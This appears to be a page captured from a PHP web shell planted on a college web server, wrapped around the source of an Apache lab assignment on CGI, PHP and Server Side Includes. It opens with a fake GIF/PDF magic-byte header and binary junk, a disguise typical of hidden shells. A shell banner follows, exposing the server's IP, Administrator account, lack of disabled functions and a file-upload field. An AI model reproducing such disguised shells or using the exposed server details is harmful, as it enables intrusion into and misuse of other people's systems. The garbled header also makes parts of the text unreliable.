GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab07/ |
Upload File : |
<? // JimMartinson/CST1611/Labs/Lab07/Lab07.phpinc require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $dataFolder = '/var/www/html'; $apacheFolder = $dataFolder; $dirSep = '/'; $disabled = ''; #$disabled = ' disabled'; // Comment this line to enable lab. if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } $directoryFile = ''.$evaluationName.'-'.$userFullName.'.txt'; $directoryFile2 = ''.$evaluationName.'-8080-'.$userFullName.'.txt'; $directoryFile3 = ''.$evaluationName.'-IP-'.$userFullName.'.txt'; $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.userName($userId); require('common/Browser/Browser.phpinc'); $ShowSpanCountBefore = false; #$ShowSpanCountBefore = true; // <span class="count"> ?> <style type="text/css"> b { white-space:nowrap; } ol { } li { } ol.count { counter-reset:item; } ol.count ol { counter-reset:item; } ol.count li.count { list-style-type:none; } ol.count li.count:before { content:counters(item, ".") ". "; counter-increment:item; margin-left:-2em; } <? if ( !$ShowSpanCountBefore ) { ?>//<? } ?> span.count:before { content:counters(item, "-"); color:#FF0000; } </style> <a name="Lab"></a> <!-- <textarea id="objd"></textarea> <textarea id="objd2"></textarea> --> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend> Apache can use the Common Gateway Interface and Server Side Include commands to display dynamic content.<br> The purpose of this lab is to demonstrate the ability to configure Apache to use scripting languages and server side includes. <br><?=$gradeNote?> <ol id="main" class="count"> <? // 1. ?> <li>Setup a directory for use in <?=$evaluationType?> <?=$evaluationNumber?>. <ol class="count"> <li>Create a directory called <b><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.</li> <li>Create a text file called <b><?=$directoryFile?></b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> </ol> </li> <? // 2. ?> <li>Configure Apache to work with Perl. <ol class="count"> <li>Configure Apache to use cgi-script as a handler for perl files. <ol class="count"> <li>Edit your Apache config (cst1611.test.conf). At the bottom of the file add the comment: <comm>#<?=$evaluationName?></comm>. Place all your work for this lab below this comment unless otherwise directed.</li> <li>Add ExecCGI to the Options line</li> <li>Enter the following line: <div class="bold" style="border:1px solid gray; padding-left:2px; width:600px;"> <span style="color:blue;">AddHandler</span> <span style="color:navy;">cgi-script</span> <span style="color:navy;">.pl</span> </div> </li> <li>Save your changes.</li> </ol> </li> </ol> </li> <? // 3. ?> <li>Verify that your Perl installation works. <ol class="count"> <li>Stop and restart Apache.</li> <li>Download <a href="Lab07-HelloWorld-pl.php">HelloWorld.pl</a> and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Download <a href="test.pl">test.pl</a> and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Edit the <a href="https://en.wikipedia.org/wiki/Shebang_(Unix)">Shebang</a> (first line) of both files and set the path to where you have your perl.exe file. <br><code>#!/usr/bin/perl</code> </li> <li>Open up a browser.</li> <li>Enter <b class="copyText">http://<?=$courseNumber?>.test</b> in the address bar.</li> <li>Hit enter.</li> <li>Click on your <b><?=$evaluationName?></b> directory.</li> <li>Click on the <b>test.pl</b> file. You should see a page similar to:<br> <? BrowserBegin($courseNumber.'.test/'.$evaluationName.'/test.pl',$courseNumber.'.test/'.$evaluationName.'/test.pl',600); ?> <b> Perl is working! </b> <br> This dispays as a plain text file - HTML codes do not work. <br> <? BrowserEnd(); ?> If you get an error, the browser attempts to download the file, or you see the Perl commands then your Perl configuration failed. Contact your Instructor for help. </li> <li>Reload <b class="copyText">http://<?=$courseNumber?>.test/Lab07/</b> in your browser and click on the <b>HelloWorld.pl</b> file.</li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_Perl.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your screenshot before saving the image. </li> </ol> </li> <? // 4. ?> <li>Configure Apache to work with PHP. <ol class="count"> <li>Install PHP. ( I used <a href="https://documentation.ubuntu.com/server/how-to/web-services/install-php/index.html">this site</a> for a how-to ) <li>Download <a href="phpinfo.phtml">phpinfo.phtml</a> and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> </ol> </li> <? // 5. ?> <li>Verify that your PHP installation works. <ol type="i"> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>In the address bar enter <b class="copyText">http://<?=$courseNumber?>.test</i></b>.</li> <li>Hit enter.</li> <li>Click on the <b>Lab07</b>.</li> <li>Click on <b>phpinfo.phtml</b>. You should see a page beginning with:<br> <? BrowserBegin('phpinfo()',$courseNumber.'.test/'.$evaluationName.'/phpinfo.phtml',600); ?> <style type="text/css"> .phppre {margin: 0px; font-family: monospace;} .phptable {border-collapse: collapse;} .phpcenter {text-align: center;} .phpcenter .phptable { margin-left: auto; margin-right: auto; text-align: left;} .phpcenter .phpth { text-align: center !important; } .phptd, .phpth { border: 1px solid #000000; font-size: 75%; vertical-align: baseline;} .phph1 {font-family: sans-serif; font-size: 150%;} .phph2 {font-family: sans-serif; font-size: 125%;} .phpp {font-family: sans-serif; text-align: left;} .phpe {background-color: #ccccff; font-weight: bold; color: #000000;} .phph {font-family: sans-serif; background-color: #9999cc; font-weight: bold; color: #000000;} .phpv {background-color: #cccccc; color: #000000;} .phpvr {background-color: #cccccc; text-align: right; color: #000000;} .phpimg {float: right; border: 0px;} .phphr {width: 600px; background-color: #cccccc; border: 0px; height: 1px; color: #000000;} </style> <div class="phpcenter"> <table border="0" cellpadding="3" width="100%" class="phptable"> <tr class="phph"><td class="phptd"> <a href="http://www.php.net/"><img border="0" src="PHP/phpinfo.php.gif" alt="PHP Logo" class="phpimg"></a><h1 class="phph1 phpp">PHP Version 5.2.4</h1> </td></tr> </table><!-- phptable --> <br> <table border="0" cellpadding="3" width="100%" class="phptable"> <tr><td class="phptd phpe">System </td><td class="phptd phpv"> 5.1 build 2600 </td></tr> <tr><td class="phptd phpe">Build Date </td><td class="phptd phpv">Aug 30 2007 07:05:48 </td></tr> <tr><td class="phptd phpe">Configure Command </td><td class="phptd phpv">cscript /nologo configure.js "--enable-snapshot-build" "--with-gd=shared" </td></tr> <tr><td class="phptd phpe">Server API </td><td class="phptd phpv">Apache 2.0 Handler </td></tr> <tr><td class="phptd phpe">Virtual Directory Support </td><td class="phptd phpv">enabled </td></tr> <tr><td class="phptd phpe">Configuration File (php.ini) Path </td><td class="phptd phpv"><?=$_ENV['SystemRoot']?> </td></tr> <tr><td class="phptd phpe">Loaded Configuration File </td><td class="phptd phpv"><?=$_SESSION['userDefaultDrive']?>:\PHP\php.ini </td></tr> <tr><td class="phptd phpe">PHP API </td><td class="phptd phpv">20041225 </td></tr> <tr><td class="phptd phpe">PHP Extension </td><td class="phptd phpv">20060613 </td></tr> <tr><td class="phptd phpe">Zend Extension </td><td class="phptd phpv">220060519 </td></tr> <tr><td class="phptd phpe">Debug Build </td><td class="phptd phpv">no </td></tr> <tr><td class="phptd phpe">Thread Safety </td><td class="phptd phpv">enabled </td></tr> <tr><td class="phptd phpe">Zend Memory Manager </td><td class="phptd phpv">enabled </td></tr> <tr><td class="phptd phpe">IPv6 Support </td><td class="phptd phpv">enabled </td></tr> <tr><td class="phptd phpe">Registered PHP Streams </td><td class="phptd phpv">php, file, data, http, ftp, compress.zlib </td></tr> <tr><td class="phptd phpe">Registered Stream Socket Transports </td><td class="phptd phpv">tcp, udp </td></tr> <tr><td class="phptd phpe">Registered Stream Filters </td><td class="phptd phpv">convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, zlib.* </td></tr> </table> </div> <? BrowserEnd(); ?> If you get an error, the browser attempts to download the file, or you see the PHP commands then your PHP installation failed. Contact your Instructor for help. </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_PHP.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your screenshot before saving the image.</li> </ol> </li> </li> <? // 6. ?> <li>Configure Apache to work with Server Side Includes (SSI, mod_include). <ol class="count"> <li>Verify that <b>mod_include</b> is loaded (the module <b>mod_include</b> should be loaded by default).</li> <li>Download <b><a href="ssi.php">ssi.shtml</a></b> and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Download <b><a href="ssi_include.php">ssi_include.txt</a></b> and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Edit your Apache config. At the bottom of the file add the comment: <comment class="copyText"># <?=$evaluationType?> <?=$evaluationNumber?></comment>. Place all your work for this lab below this comment unless otherwise directed.</li> <li>Add Includes to the Options line</li> </ol> </li> <? // 7. ?> <li>Verify that your SSI configuration works. <ol class="count"> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>In the address bar enter <b class="copyText">http://<?=$courseNumber?>.test</i></b>.</li> <li>Hit enter.</li> <li>Click on the <b><?=$evaluationName?></b>.</li> <li>Click on <b>ssi.shtml</b>. You should see a page similar to:<br> <? BrowserBegin($courseNumber.' '.$evaluationName.' SSI','http://'.$courseNumber.'.test/'.$evaluationName.'/ssi.shtml',800); ?> <h1 class="left"><?=$courseNumber?> <?=$evaluationType?> <?=$evaluationNumber?> SSI</h1> <p> Take a screenshot of this page. <br> Save the image as <b class=""><?=$saveFilename?>_SSI.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br> Make sure that the address bar and at least one sample SSI command are visible in your browser before saving the image. </p> <p> Sample SSI commands are shown below.<br> The SSI command is first shown in <code>green</code>.<br> Followed by the output in black.<br> Comments are in <comm>red on yellow</comm>. </p> <p> <code> <!--#echo var="DATE_LOCAL" --> <br> </code> <? echo date('l, d-M-Y H:i:s'); ?> Central Daylight Time </p> <p> <b>...</b> </p><? BrowserEnd(); ?> </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_SSI.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar and at least one sample SSI command are visible in your browser before saving the image. <note> Note: The #exec directive does not work in Windows! Even if it executes output is not returned and any command executed does not have any system rights. Fortunately you can use Perl or PHP scripts to execute Windows commands. <br> I have an example Perl file. If you want to test it: Download <a href="https://cst.ridgewater.edu/JimMartinson/CST1611/Labs/<?=$evaluationName?>/Perl_Windows_command_example.pl">Perl_Windows_command_example.pl</a>, save it in your <b>Lab08</b> folder, and load it in your browser. <br> I also have an example PHP file. If you want to test it: Download <a href="https://cst.ridgewater.edu/JimMartinson/CST1611/Labs/<?=$evaluationName?>/PHP_Windows_command_example.phtml">PHP_Windows_command_example.phtml</a>, save it in your <b>Lab08</b> folder, and load it in your browser. You may need to change the .phtml extension to .php. <br>Remember, the <b>#exec</b> directive runs the command on the <b>web server</b>, not the client. </note> </li> </ol> </li> <? // 8. ?> <li>Turn in your assignment: <ol type="a"> <li>Copy your <b>hosts</b> and <b>cst1611.test.conf</b> file into your <b><?=$evaluationName?></b> folder.</li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> <!-- <? if ( isset($assignmentWeekDue) ) { ?><?=$evaluationType?> <?=$evaluationNumber?> is due on or before <?=classWeekDateCSS($class['startDate'][0],$assignmentWeekDue)?>.<? } ?> --> <?=$gradeNote?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; require('common/pageFooter.phpinc'); ?>